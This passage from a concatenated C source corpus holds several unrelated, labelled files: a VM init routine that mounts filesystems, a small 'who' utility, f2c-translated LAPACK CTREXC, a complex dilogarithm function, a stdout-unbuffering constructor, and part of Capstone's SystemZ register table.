if (mount("proc", "/proc", "proc",
MS_NODEV | MS_NOEXEC | MS_NOSUID | MS_RELATIME, NULL) < 0) {
perror("mount(/proc)");
exit(-1);
}
if (mount("sysfs", "/sys", "sysfs",
MS_NODEV | MS_NOEXEC | MS_NOSUID | MS_RELATIME, NULL) < 0) {
perror("mount(/sys)");
exit(-1);
}
if (mount("cgroup2", "/sys/fs/cgroup", "cgroup2",
MS_NODEV | MS_NOEXEC | MS_NOSUID | MS_RELATIME, NULL) < 0) {
perror("mount(/sys/fs/cgroup)");
exit(-1);
}
if (mkdir("/dev/pts", 0755) < 0 && errno != EEXIST) {
perror("mkdir(/dev/pts)");
exit(-1);
}
if (mount("devpts", "/dev/pts", "devpts",
MS_NOEXEC | MS_NOSUID | MS_RELATIME, NULL) < 0) {
perror("mount(/dev/pts)");
exit(-1);
}
if (mkdir("/dev/shm", 0755) < 0 && errno != EEXIST) {
perror("mkdir(/dev/shm)");
exit(-1);
}
if (mount("tmpfs", "/dev/shm", "tmpfs",
MS_NOEXEC | MS_NOSUID | MS_RELATIME, NULL) < 0) {
perror("mount(/dev/shm)");
exit(-1);
}
/* May fail if already exists and that's fine. */
symlink("/proc/self/fd", "/dev/fd");
hostname = getenv("HOSTNAME");
if (hostname) {
sethostname(hostname, strlen(hostname));
}
setsid();
ioctl(0, TIOCSCTTY, 1);
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
if (sockfd >= 0) {
memset(&ifr, 0, sizeof ifr);
strncpy(ifr.ifr_name, "lo", IFNAMSIZ);
ifr.ifr_flags |= IFF_UP;
ioctl(sockfd, SIOCSIFFLAGS, &ifr);
close(sockfd);
}
rlimits = getenv("KRUN_RLIMITS");
if (rlimits) {
set_rlimits(rlimits);
}
workdir = getenv("KRUN_WORKDIR");
if (workdir) {
chdir(workdir);
}
krun_init = getenv("KRUN_INIT");
if (!krun_init) {
krun_init = &DEFAULT_KRUN_INIT[0];
}
argv[0] = krun_init;
execv(argv[0], argv);
return 0;
}
|
the_stack_data/1127338.c | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_print_combn.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: cacharle <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2019/07/03 14:33:09 by cacharle #+# #+# */
/* Updated: 2019/07/03 15:39:02 by cacharle ### ########.fr */
/* */
/* ************************************************************************** */
#include <unistd.h>
void ft_putchar(char c)
{
write(STDOUT_FILENO, &c, 1);
}
void comb(int start, int n)
{
int i;
if (n == 0)
{
ft_putchar(',');
ft_putchar(' ');
return ;
}
i = start + 1;
while (i < 10)
{
ft_putchar(start + '0');
ft_putchar(i + '0');
comb(i, n - 1);
i++;
}
}
void ft_print_combn(int n)
{
comb(0, n);
}
|
the_stack_data/96758.c | #include <err.h>
#include <fcntl.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
#include <utmp.h>
int
main(int argc, char *argv[])
{
int fd;
struct utmp u;
char utime[32];
fd = open(_PATH_UTMP, O_RDONLY);
if (fd < 0) {
warn("who: can't open utmp");
return(EXIT_FAILURE);
}
while (read(fd, &u, sizeof(u)) == sizeof(u)) {
if (*u.ut_name == '\0' || *u.ut_line == '\0')
continue;
ctime_r(&u.ut_time, utime);
printf("%-8.*s %-8.*s %s",
UT_NAMESIZE, u.ut_name,
UT_LINESIZE, u.ut_line,
utime + 4);
}
close(fd);
return(EXIT_SUCCESS);
}
|
the_stack_data/170453135.c | /* f2c.h -- Standard Fortran to C header file */
/** barf [ba:rf] 2. "He suggested using FORTRAN, and everybody barfed."
- From The Shogakukan DICTIONARY OF NEW ENGLISH (Second edition) */
#ifndef F2C_INCLUDE
#define F2C_INCLUDE
#include <math.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <complex.h>
#ifdef complex
#undef complex
#endif
#ifdef I
#undef I
#endif
#if defined(_WIN64)
typedef long long BLASLONG;
typedef unsigned long long BLASULONG;
#else
typedef long BLASLONG;
typedef unsigned long BLASULONG;
#endif
#ifdef LAPACK_ILP64
typedef BLASLONG blasint;
#if defined(_WIN64)
#define blasabs(x) llabs(x)
#else
#define blasabs(x) labs(x)
#endif
#else
typedef int blasint;
#define blasabs(x) abs(x)
#endif
typedef blasint integer;
typedef unsigned int uinteger;
typedef char *address;
typedef short int shortint;
typedef float real;
typedef double doublereal;
typedef struct { real r, i; } complex;
typedef struct { doublereal r, i; } doublecomplex;
static inline _Complex float Cf(complex *z) {return z->r + z->i*_Complex_I;}
static inline _Complex double Cd(doublecomplex *z) {return z->r + z->i*_Complex_I;}
static inline _Complex float * _pCf(complex *z) {return (_Complex float*)z;}
static inline _Complex double * _pCd(doublecomplex *z) {return (_Complex double*)z;}
#define pCf(z) (*_pCf(z))
#define pCd(z) (*_pCd(z))
typedef int logical;
typedef short int shortlogical;
typedef char logical1;
typedef char integer1;
#define TRUE_ (1)
#define FALSE_ (0)
/* Extern is for use with -E */
#ifndef Extern
#define Extern extern
#endif
/* I/O stuff */
typedef int flag;
typedef int ftnlen;
typedef int ftnint;
/*external read, write*/
typedef struct
{ flag cierr;
ftnint ciunit;
flag ciend;
char *cifmt;
ftnint cirec;
} cilist;
/*internal read, write*/
typedef struct
{ flag icierr;
char *iciunit;
flag iciend;
char *icifmt;
ftnint icirlen;
ftnint icirnum;
} icilist;
/*open*/
typedef struct
{ flag oerr;
ftnint ounit;
char *ofnm;
ftnlen ofnmlen;
char *osta;
char *oacc;
char *ofm;
ftnint orl;
char *oblnk;
} olist;
/*close*/
typedef struct
{ flag cerr;
ftnint cunit;
char *csta;
} cllist;
/*rewind, backspace, endfile*/
typedef struct
{ flag aerr;
ftnint aunit;
} alist;
/* inquire */
typedef struct
{ flag inerr;
ftnint inunit;
char *infile;
ftnlen infilen;
ftnint *inex; /*parameters in standard's order*/
ftnint *inopen;
ftnint *innum;
ftnint *innamed;
char *inname;
ftnlen innamlen;
char *inacc;
ftnlen inacclen;
char *inseq;
ftnlen inseqlen;
char *indir;
ftnlen indirlen;
char *infmt;
ftnlen infmtlen;
char *inform;
ftnint informlen;
char *inunf;
ftnlen inunflen;
ftnint *inrecl;
ftnint *innrec;
char *inblank;
ftnlen inblanklen;
} inlist;
#define VOID void
union Multitype { /* for multiple entry points */
integer1 g;
shortint h;
integer i;
/* longint j; */
real r;
doublereal d;
complex c;
doublecomplex z;
};
typedef union Multitype Multitype;
struct Vardesc { /* for Namelist */
char *name;
char *addr;
ftnlen *dims;
int type;
};
typedef struct Vardesc Vardesc;
struct Namelist {
char *name;
Vardesc **vars;
int nvars;
};
typedef struct Namelist Namelist;
#define abs(x) ((x) >= 0 ? (x) : -(x))
#define dabs(x) (fabs(x))
#define f2cmin(a,b) ((a) <= (b) ? (a) : (b))
#define f2cmax(a,b) ((a) >= (b) ? (a) : (b))
#define dmin(a,b) (f2cmin(a,b))
#define dmax(a,b) (f2cmax(a,b))
#define bit_test(a,b) ((a) >> (b) & 1)
#define bit_clear(a,b) ((a) & ~((uinteger)1 << (b)))
#define bit_set(a,b) ((a) | ((uinteger)1 << (b)))
#define abort_() { sig_die("Fortran abort routine called", 1); }
#define c_abs(z) (cabsf(Cf(z)))
#define c_cos(R,Z) { pCf(R)=ccos(Cf(Z)); }
#define c_div(c, a, b) {pCf(c) = Cf(a)/Cf(b);}
#define z_div(c, a, b) {pCd(c) = Cd(a)/Cd(b);}
#define c_exp(R, Z) {pCf(R) = cexpf(Cf(Z));}
#define c_log(R, Z) {pCf(R) = clogf(Cf(Z));}
#define c_sin(R, Z) {pCf(R) = csinf(Cf(Z));}
//#define c_sqrt(R, Z) {*(R) = csqrtf(Cf(Z));}
#define c_sqrt(R, Z) {pCf(R) = csqrtf(Cf(Z));}
#define d_abs(x) (fabs(*(x)))
#define d_acos(x) (acos(*(x)))
#define d_asin(x) (asin(*(x)))
#define d_atan(x) (atan(*(x)))
#define d_atn2(x, y) (atan2(*(x),*(y)))
#define d_cnjg(R, Z) { pCd(R) = conj(Cd(Z)); }
#define r_cnjg(R, Z) { pCf(R) = conj(Cf(Z)); }
#define d_cos(x) (cos(*(x)))
#define d_cosh(x) (cosh(*(x)))
#define d_dim(__a, __b) ( *(__a) > *(__b) ? *(__a) - *(__b) : 0.0 )
#define d_exp(x) (exp(*(x)))
#define d_imag(z) (cimag(Cd(z)))
#define r_imag(z) (cimag(Cf(z)))
#define d_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x)))
#define r_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x)))
#define d_lg10(x) ( 0.43429448190325182765 * log(*(x)) )
#define r_lg10(x) ( 0.43429448190325182765 * log(*(x)) )
#define d_log(x) (log(*(x)))
#define d_mod(x, y) (fmod(*(x), *(y)))
#define u_nint(__x) ((__x)>=0 ? floor((__x) + .5) : -floor(.5 - (__x)))
#define d_nint(x) u_nint(*(x))
#define u_sign(__a,__b) ((__b) >= 0 ? ((__a) >= 0 ? (__a) : -(__a)) : -((__a) >= 0 ? (__a) : -(__a)))
#define d_sign(a,b) u_sign(*(a),*(b))
#define r_sign(a,b) u_sign(*(a),*(b))
#define d_sin(x) (sin(*(x)))
#define d_sinh(x) (sinh(*(x)))
#define d_sqrt(x) (sqrt(*(x)))
#define d_tan(x) (tan(*(x)))
#define d_tanh(x) (tanh(*(x)))
#define i_abs(x) abs(*(x))
#define i_dnnt(x) ((integer)u_nint(*(x)))
#define i_len(s, n) (n)
#define i_nint(x) ((integer)u_nint(*(x)))
#define i_sign(a,b) ((integer)u_sign((integer)*(a),(integer)*(b)))
#define pow_dd(ap, bp) ( pow(*(ap), *(bp)))
#define pow_si(B,E) spow_ui(*(B),*(E))
#define pow_ri(B,E) spow_ui(*(B),*(E))
#define pow_di(B,E) dpow_ui(*(B),*(E))
#define pow_zi(p, a, b) {pCd(p) = zpow_ui(Cd(a), *(b));}
#define pow_ci(p, a, b) {pCf(p) = cpow_ui(Cf(a), *(b));}
#define pow_zz(R,A,B) {pCd(R) = cpow(Cd(A),*(B));}
#define s_cat(lpp, rpp, rnp, np, llp) { ftnlen i, nc, ll; char *f__rp, *lp; ll = (llp); lp = (lpp); for(i=0; i < (int)*(np); ++i) { nc = ll; if((rnp)[i] < nc) nc = (rnp)[i]; ll -= nc; f__rp = (rpp)[i]; while(--nc >= 0) *lp++ = *(f__rp)++; } while(--ll >= 0) *lp++ = ' '; }
#define s_cmp(a,b,c,d) ((integer)strncmp((a),(b),f2cmin((c),(d))))
#define s_copy(A,B,C,D) { int __i,__m; for (__i=0, __m=f2cmin((C),(D)); __i<__m && (B)[__i] != 0; ++__i) (A)[__i] = (B)[__i]; }
#define sig_die(s, kill) { exit(1); }
#define s_stop(s, n) {exit(0);}
static char junk[] = "\n@(#)LIBF77 VERSION 19990503\n";
#define z_abs(z) (cabs(Cd(z)))
#define z_exp(R, Z) {pCd(R) = cexp(Cd(Z));}
#define z_sqrt(R, Z) {pCd(R) = csqrt(Cd(Z));}
#define myexit_() break;
#define mycycle() continue;
#define myceiling(w) {ceil(w)}
#define myhuge(w) {HUGE_VAL}
//#define mymaxloc_(w,s,e,n) {if (sizeof(*(w)) == sizeof(double)) dmaxloc_((w),*(s),*(e),n); else dmaxloc_((w),*(s),*(e),n);}
#define mymaxloc(w,s,e,n) {dmaxloc_(w,*(s),*(e),n)}
/* procedure parameter types for -A and -C++ */
#define F2C_proc_par_types 1
#ifdef __cplusplus
typedef logical (*L_fp)(...);
#else
typedef logical (*L_fp)();
#endif
static float spow_ui(float x, integer n) {
float pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static double dpow_ui(double x, integer n) {
double pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static _Complex float cpow_ui(_Complex float x, integer n) {
_Complex float pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static _Complex double zpow_ui(_Complex double x, integer n) {
_Complex double pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static integer pow_ii(integer x, integer n) {
integer pow; unsigned long int u;
if (n <= 0) {
if (n == 0 || x == 1) pow = 1;
else if (x != -1) pow = x == 0 ? 1/x : 0;
else n = -n;
}
if ((n > 0) || !(n == 0 || x == 1 || x != -1)) {
u = n;
for(pow = 1; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static integer dmaxloc_(double *w, integer s, integer e, integer *n)
{
double m; integer i, mi;
for(m=w[s-1], mi=s, i=s+1; i<=e; i++)
if (w[i-1]>m) mi=i ,m=w[i-1];
return mi-s+1;
}
static integer smaxloc_(float *w, integer s, integer e, integer *n)
{
float m; integer i, mi;
for(m=w[s-1], mi=s, i=s+1; i<=e; i++)
if (w[i-1]>m) mi=i ,m=w[i-1];
return mi-s+1;
}
static inline void cdotc_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
_Complex float zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conjf(Cf(&x[i])) * Cf(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conjf(Cf(&x[i*incx])) * Cf(&y[i*incy]);
}
}
pCf(z) = zdotc;
}
static inline void zdotc_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
_Complex double zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conj(Cd(&x[i])) * Cd(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conj(Cd(&x[i*incx])) * Cd(&y[i*incy]);
}
}
pCd(z) = zdotc;
}
static inline void cdotu_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
_Complex float zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cf(&x[i]) * Cf(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cf(&x[i*incx]) * Cf(&y[i*incy]);
}
}
pCf(z) = zdotc;
}
static inline void zdotu_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
_Complex double zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cd(&x[i]) * Cd(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cd(&x[i*incx]) * Cd(&y[i*incy]);
}
}
pCd(z) = zdotc;
}
#endif
/* -- translated by f2c (version 20000121).
You must link the resulting object file with the libraries:
-lf2c -lm (in that order)
*/
/* Table of constant values */
static integer c__1 = 1;
/* > \brief \b CTREXC */
/* =========== DOCUMENTATION =========== */
/* Online html documentation available at */
/* http://www.netlib.org/lapack/explore-html/ */
/* > \htmlonly */
/* > Download CTREXC + dependencies */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.tgz?format=tgz&filename=/lapack/lapack_routine/ctrexc.
f"> */
/* > [TGZ]</a> */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.zip?format=zip&filename=/lapack/lapack_routine/ctrexc.
f"> */
/* > [ZIP]</a> */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.txt?format=txt&filename=/lapack/lapack_routine/ctrexc.
f"> */
/* > [TXT]</a> */
/* > \endhtmlonly */
/* Definition: */
/* =========== */
/* SUBROUTINE CTREXC( COMPQ, N, T, LDT, Q, LDQ, IFST, ILST, INFO ) */
/* CHARACTER COMPQ */
/* INTEGER IFST, ILST, INFO, LDQ, LDT, N */
/* COMPLEX Q( LDQ, * ), T( LDT, * ) */
/* > \par Purpose: */
/* ============= */
/* > */
/* > \verbatim */
/* > */
/* > CTREXC reorders the Schur factorization of a complex matrix */
/* > A = Q*T*Q**H, so that the diagonal element of T with row index IFST */
/* > is moved to row ILST. */
/* > */
/* > The Schur form T is reordered by a unitary similarity transformation */
/* > Z**H*T*Z, and optionally the matrix Q of Schur vectors is updated by */
/* > postmultplying it with Z. */
/* > \endverbatim */
/* Arguments: */
/* ========== */
/* > \param[in] COMPQ */
/* > \verbatim */
/* > COMPQ is CHARACTER*1 */
/* > = 'V': update the matrix Q of Schur vectors; */
/* > = 'N': do not update Q. */
/* > \endverbatim */
/* > */
/* > \param[in] N */
/* > \verbatim */
/* > N is INTEGER */
/* > The order of the matrix T. N >= 0. */
/* > If N == 0 arguments ILST and IFST may be any value. */
/* > \endverbatim */
/* > */
/* > \param[in,out] T */
/* > \verbatim */
/* > T is COMPLEX array, dimension (LDT,N) */
/* > On entry, the upper triangular matrix T. */
/* > On exit, the reordered upper triangular matrix. */
/* > \endverbatim */
/* > */
/* > \param[in] LDT */
/* > \verbatim */
/* > LDT is INTEGER */
/* > The leading dimension of the array T. LDT >= f2cmax(1,N). */
/* > \endverbatim */
/* > */
/* > \param[in,out] Q */
/* > \verbatim */
/* > Q is COMPLEX array, dimension (LDQ,N) */
/* > On entry, if COMPQ = 'V', the matrix Q of Schur vectors. */
/* > On exit, if COMPQ = 'V', Q has been postmultiplied by the */
/* > unitary transformation matrix Z which reorders T. */
/* > If COMPQ = 'N', Q is not referenced. */
/* > \endverbatim */
/* > */
/* > \param[in] LDQ */
/* > \verbatim */
/* > LDQ is INTEGER */
/* > The leading dimension of the array Q. LDQ >= 1, and if */
/* > COMPQ = 'V', LDQ >= f2cmax(1,N). */
/* > \endverbatim */
/* > */
/* > \param[in] IFST */
/* > \verbatim */
/* > IFST is INTEGER */
/* > \endverbatim */
/* > */
/* > \param[in] ILST */
/* > \verbatim */
/* > ILST is INTEGER */
/* > */
/* > Specify the reordering of the diagonal elements of T: */
/* > The element with row index IFST is moved to row ILST by a */
/* > sequence of transpositions between adjacent elements. */
/* > 1 <= IFST <= N; 1 <= ILST <= N. */
/* > \endverbatim */
/* > */
/* > \param[out] INFO */
/* > \verbatim */
/* > INFO is INTEGER */
/* > = 0: successful exit */
/* > < 0: if INFO = -i, the i-th argument had an illegal value */
/* > \endverbatim */
/* Authors: */
/* ======== */
/* > \author Univ. of Tennessee */
/* > \author Univ. of California Berkeley */
/* > \author Univ. of Colorado Denver */
/* > \author NAG Ltd. */
/* > \date December 2016 */
/* > \ingroup complexOTHERcomputational */
/* ===================================================================== */
/* Subroutine */ int ctrexc_(char *compq, integer *n, complex *t, integer *
ldt, complex *q, integer *ldq, integer *ifst, integer *ilst, integer *
info)
{
/* System generated locals */
integer q_dim1, q_offset, t_dim1, t_offset, i__1, i__2, i__3;
complex q__1;
/* Local variables */
complex temp;
extern /* Subroutine */ int crot_(integer *, complex *, integer *,
complex *, integer *, real *, complex *);
integer k;
extern logical lsame_(char *, char *);
logical wantq;
integer m1, m2, m3;
real cs;
complex t11, t22, sn;
extern /* Subroutine */ int clartg_(complex *, complex *, real *, complex
*, complex *), xerbla_(char *, integer *, ftnlen);
/* -- LAPACK computational routine (version 3.7.0) -- */
/* -- LAPACK is a software package provided by Univ. of Tennessee, -- */
/* -- Univ. of California Berkeley, Univ. of Colorado Denver and NAG Ltd..-- */
/* December 2016 */
/* ===================================================================== */
/* Decode and test the input parameters. */
/* Parameter adjustments */
t_dim1 = *ldt;
t_offset = 1 + t_dim1 * 1;
t -= t_offset;
q_dim1 = *ldq;
q_offset = 1 + q_dim1 * 1;
q -= q_offset;
/* Function Body */
*info = 0;
wantq = lsame_(compq, "V");
if (! lsame_(compq, "N") && ! wantq) {
*info = -1;
} else if (*n < 0) {
*info = -2;
} else if (*ldt < f2cmax(1,*n)) {
*info = -4;
} else if (*ldq < 1 || wantq && *ldq < f2cmax(1,*n)) {
*info = -6;
} else if ((*ifst < 1 || *ifst > *n) && *n > 0) {
*info = -7;
} else if ((*ilst < 1 || *ilst > *n) && *n > 0) {
*info = -8;
}
if (*info != 0) {
i__1 = -(*info);
xerbla_("CTREXC", &i__1, (ftnlen)6);
return 0;
}
/* Quick return if possible */
if (*n <= 1 || *ifst == *ilst) {
return 0;
}
if (*ifst < *ilst) {
/* Move the IFST-th diagonal element forward down the diagonal. */
m1 = 0;
m2 = -1;
m3 = 1;
} else {
/* Move the IFST-th diagonal element backward up the diagonal. */
m1 = -1;
m2 = 0;
m3 = -1;
}
i__1 = *ilst + m2;
i__2 = m3;
for (k = *ifst + m1; i__2 < 0 ? k >= i__1 : k <= i__1; k += i__2) {
/* Interchange the k-th and (k+1)-th diagonal elements. */
i__3 = k + k * t_dim1;
t11.r = t[i__3].r, t11.i = t[i__3].i;
i__3 = k + 1 + (k + 1) * t_dim1;
t22.r = t[i__3].r, t22.i = t[i__3].i;
/* Determine the transformation to perform the interchange. */
q__1.r = t22.r - t11.r, q__1.i = t22.i - t11.i;
clartg_(&t[k + (k + 1) * t_dim1], &q__1, &cs, &sn, &temp);
/* Apply transformation to the matrix T. */
if (k + 2 <= *n) {
i__3 = *n - k - 1;
crot_(&i__3, &t[k + (k + 2) * t_dim1], ldt, &t[k + 1 + (k + 2) *
t_dim1], ldt, &cs, &sn);
}
i__3 = k - 1;
r_cnjg(&q__1, &sn);
crot_(&i__3, &t[k * t_dim1 + 1], &c__1, &t[(k + 1) * t_dim1 + 1], &
c__1, &cs, &q__1);
i__3 = k + k * t_dim1;
t[i__3].r = t22.r, t[i__3].i = t22.i;
i__3 = k + 1 + (k + 1) * t_dim1;
t[i__3].r = t11.r, t[i__3].i = t11.i;
if (wantq) {
/* Accumulate transformation in the matrix Q. */
r_cnjg(&q__1, &sn);
crot_(n, &q[k * q_dim1 + 1], &c__1, &q[(k + 1) * q_dim1 + 1], &
c__1, &cs, &q__1);
}
/* L10: */
}
return 0;
/* End of CTREXC */
} /* ctrexc_ */
|
the_stack_data/77196.c | #include <math.h>
#include <complex.h>
/* transforms -0.0 -> 0.0 */
static double complex pclog(double complex z)
{
double re = creal(z) == 0.0 ? fabs(creal(z)) : creal(z);
double im = cimag(z) == 0.0 ? fabs(cimag(z)) : cimag(z);
return clog(re + I*im);
}
/*
SPENCE-FUNKTION KOMPLEX, FREI NACH HOLLIK
20.07.83
LAST CHANGED 10.05.89, ANSGAR DENNER
Translated to C by Alexander Voigt
*/
double complex pCSPEN(double complex Z)
{
double complex W,SUM,U,L;
double RZ,AZ,A1;
// BEACHTE: B(N)=B2N
// B(1)=1./6.
// B(2)=-1./30.
// B(3)=1./42.
// B(4)=-1./30.
// B(5)=5./66.
// B(6)=-691./2730.
// B(7)=7./6.
// B(8)=-3617./510.
// B(9)=43867./798.
// PI=3.1415926535897932384
// PI*PI/6.=1.6449..., PI*PI/3=3.28986...
const double B[9] = {
0.1666666666666666666666666667,
-0.0333333333333333333333333333,
0.0238095238095238095238095238,
-0.0333333333333333333333333333,
0.0757575757575757575757575758,
-0.2531135531135531135531135531,
1.1666666666666666666666666667,
-7.09215686274509804,
54.97117794486215539
};
RZ = creal(Z);
AZ = cabs(Z);
A1 = cabs(1-Z);
if (AZ < 1E-20)
return -pclog(1-Z);
if ((RZ == 1.0) && (cimag(Z) == 0.0))
return 1.64493406684822643;
if (RZ > 5E-1) goto L20;
if (AZ > 1) goto L10;
W = -pclog(1-Z);
SUM = W - 0.25*W*W;
U = W;
if (cabs(U) < 1E-10) goto L2;
for (int K = 1; K <= 9; K++) {
U = U*W*W/(2*K*(2*K+1));
if (cabs(U*B[K-1]/SUM) < 1E-20)
break;
SUM = SUM + U*B[K-1];
}
L2:
return SUM;
L10:
W = -pclog(1-1/Z);
SUM = W - 0.25*W*W;
U = W;
if (cabs(U) < 1E-10) goto L12;
for (int K = 1; K <= 9; K++) {
U = U*W*W/(2*K*(2*K+1));
if (cabs(B[K-1]*U/SUM) < 1E-20)
break;
SUM = SUM + U*B[K-1];
}
L12:
L = pclog(-Z);
return -SUM - 1.64493406684822643 - 0.5*L*L;
L20:
if (A1 > 1) goto L30;
W = -pclog(Z);
SUM = W - 0.25*W*W;
U = W;
if (cabs(U) < 1E-10) goto L22;
for (int K = 1; K <= 9; K++) {
U = U*W*W/(2*K*(2*K+1));
if (cabs(U*B[K-1]/SUM) < 1E-20)
break;
SUM = SUM + U*B[K-1];
}
L22:
return -SUM + 1.64493406684822643 - pclog(Z)*pclog(1-Z);
L30:
W = pclog(1-1/Z);
SUM = W - 0.25*W*W;
U = W;
if (cabs(U) < 1E-10) goto L32;
for (int K = 1; K <= 9; K++) {
U = U*W*W/(2*K*(2*K+1));
if (cabs(U*B[K-1]/SUM) < 1E-20)
break;
SUM = SUM + U*B[K-1];
}
L32:
L = pclog(Z-1);
return SUM + 3.28986813369645287
+ 0.5*L*L - pclog(Z)*pclog(1-Z);
}
void hollik_dilog(double re, double im, double* res_re, double* res_im)
{
double complex z = re + I*im;
double complex result = pCSPEN(z);
*res_re = creal(result);
*res_im = cimag(result);
}
|
the_stack_data/220456179.c | #include <stdio.h>
void unbuffer() __attribute__((constructor));
void unbuffer()
{
setvbuf(stdout, NULL, _IONBF, 0);
} |
the_stack_data/115336.c | /* Capstone Disassembly Engine */
/* By Nguyen Anh Quynh <[email protected]>, 2013-2015 */
#ifdef CAPSTONE_HAS_SYSZ
#include <stdio.h> // debug
#include <string.h>
#include "../../utils.h"
#include "SystemZMapping.h"
#define GET_INSTRINFO_ENUM
#include "SystemZGenInstrInfo.inc"
#ifndef CAPSTONE_DIET
static const name_map reg_name_maps[] = {
{ SYSZ_REG_INVALID, NULL },
{ SYSZ_REG_0, "0" },
{ SYSZ_REG_1, "1" },
{ SYSZ_REG_2, "2" },
{ SYSZ_REG_3, "3" },
{ SYSZ_REG_4, "4" },
{ SYSZ_REG_5, "5" },
{ SYSZ_REG_6, "6" },
{ SYSZ_REG_7, "7" },
{ SYSZ_REG_8, "8" },
{ SYSZ_REG_9, "9" },
{ SYSZ_REG_10, "10" },
{ SYSZ_REG_11, "11" },
{ SYSZ_REG_12, "12" },
{ SYSZ_REG_13, "13" },
{ SYSZ_REG_14, "14" },
{ SYSZ_REG_15, "15" },
{ SYSZ_REG_CC, "cc"},
{ SYSZ_REG_F0, "f0" },
{ SYSZ_REG_F1, "f1" },
{ SYSZ_REG_F2, "f2" },
{ SYSZ_REG_F3, "f3" },
{ SYSZ_REG_F4, "f4" },
{ SYSZ_REG_F5, "f5" },
{ SYSZ_REG_F6, "f6" },
{ SYSZ_REG_F7, "f7" },
{ SYSZ_REG_F8, "f8" },
{ SYSZ_REG_F9, "f9" },
{ SYSZ_REG_F10, "f10" },
{ SYSZ_REG_F11, "f11" },
{ SYSZ_REG_F12, "f12" },
{ SYSZ_REG_F13, "f13" },
{ SYSZ_REG_F14, "f14" },
{ SYSZ_REG_F15, "f15" },
{ SYSZ_REG_R0L, "r0l" },
{ SYSZ_REG_A0, "a0" },
{ SYSZ_REG_A1, "a1" },
{ SYSZ_REG_A2, "a2" },
{ SYSZ_REG_A3, "a3" },
{ SYSZ_REG_A4, "a4" },
{ SYSZ_REG_A5, "a5" },
{ SYSZ_REG_A6, "a6" },
{ SYSZ_REG_A7, "a7" },
{ SYSZ_REG_A8, "a8" },
{ SYSZ_REG_A9, "a9" },
{ SYSZ_REG_A10, "a10" },
{ SYSZ_REG_A11, "a11" },
{ SYSZ_REG_A12, "a12" },
{ SYSZ_REG_A13, "a13" },
{ SYSZ_REG_A14, "a14" },
{ SYSZ_REG_A15, "a15" },
{ SYSZ_REG_C0, "c0" },
{ SYSZ_REG_C1, "c1" },
{ SYSZ_REG_C2, "c2" },
{ SYSZ_REG_C3, "c3" },
{ SYSZ_REG_C4, "c4" },
{ SYSZ_REG_C5, "c5" },
{ SYSZ_REG_C6, "c6" },
{ SYSZ_REG_C7, "c7" },
{ SYSZ_REG_C8, "c8" },
{ SYSZ_REG_C9, "c9" },
{ SYSZ_REG_C10, "c10" },
{ SYSZ_REG_C11, "c11" },
{ SYSZ_REG_C12, "c12" },
{ SYSZ_REG_C13, "c13" },
{ SYSZ_REG_C14, "c14" },
{ SYSZ_REG_C15, "c15" },
{ SYSZ_REG_V0, "v0" },
{ SYSZ_REG_V1, "v1" },
{ SYSZ_REG_V2, "v2" },
{ SYSZ_REG_V3, "v3" },
{ SYSZ_REG_V4, "v4" },
{ SYSZ_REG_V5, "v5" },
{ SYSZ_REG_V6, "v6" },
{ SYSZ_REG_V7, "v7" },
{ SYSZ_REG_V8, "v8" },
{ SYSZ_REG_V9, "v9" },
{ SYSZ_REG_V10, "v10" },
{ SYSZ_REG_V11, "v11" },
{ SYSZ_REG_V12, "v12" },
{ SYSZ_REG_V13, "v13" },
{ SYSZ_REG_V14, "v14" },
{ SYSZ_REG_V15, "v15" },
{ SYSZ_REG_V16, "v16" },
{ SYSZ_REG_V17, "v17" },
